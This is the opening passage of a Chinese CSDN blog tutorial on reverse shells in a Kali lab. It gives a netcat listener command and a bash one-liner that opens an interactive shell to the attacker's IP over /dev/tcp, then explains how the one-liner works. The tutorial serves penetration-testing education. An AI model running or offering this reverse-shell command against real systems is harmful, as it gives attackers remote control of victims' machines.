Linux/Windows反弹shell

carefree798

已于 2022-08-13 00:40:03 修改

阅读量2.5k

点赞数 2

分类专栏：网安工具 Kali渗透测试文章标签： shell linux 安全漏洞

于 2021-05-28 09:23:07 首次发布

本文链接：https://blog.csdn.net/weixin_45253622/article/details/117349738

版权

Kali渗透测试同时被 2 个专栏收录

13 篇文章 4 订阅 ¥19.90 ¥99.00

订阅专栏

超级会员免费看

网安工具

17 篇文章 6 订阅

订阅专栏

本文详细介绍了Linux和Windows环境下实现反弹shell的各种方法，包括bash、加密bash、Python、nc、Telnet、socat以及其他命令。在Linux中，通过bash命令与目标主机建立连接，并演示了如何加密shell流量。而在Windows系统中，提到了Powershell反弹nc shell以及使用MSF（Metasploit Framework）进行反弹shell的操作步骤。

摘要由CSDN通过智能技术生成

目录食用

Linux反弹shell

攻击机：192.168.41.142

靶机：192.168.41.138

bash反弹

Linux 反弹 shell 使用下面这条命令，该命令弹回来的shell是不可交互的，也就是比如 vim、passwd 命令不能用。

先在攻击机开启监听：nc -lvp 4444

然后在靶机反弹：bash -i >& /dev/tcp/192.168.41.142/4444 0>&1

命令原理：bash -i 是打开一个交互式的bash终端。/dev/tcp/ 是Linux中的一个特殊设备，打开这个文件就相当于发出了一个socket调用，建立一个socket连接，读写这个文件就相当于在这个socket连接中传输数据。同理，Linux中还存在/dev/udp/。所以，不难理解，/dev/tcp/192.168.41.142/4444 这条命令是意思就是和192.168.41.142主机的4444端口建立一个socket连接。通过查阅资料，发现 >& 和 &> 两者一个意思，都是将标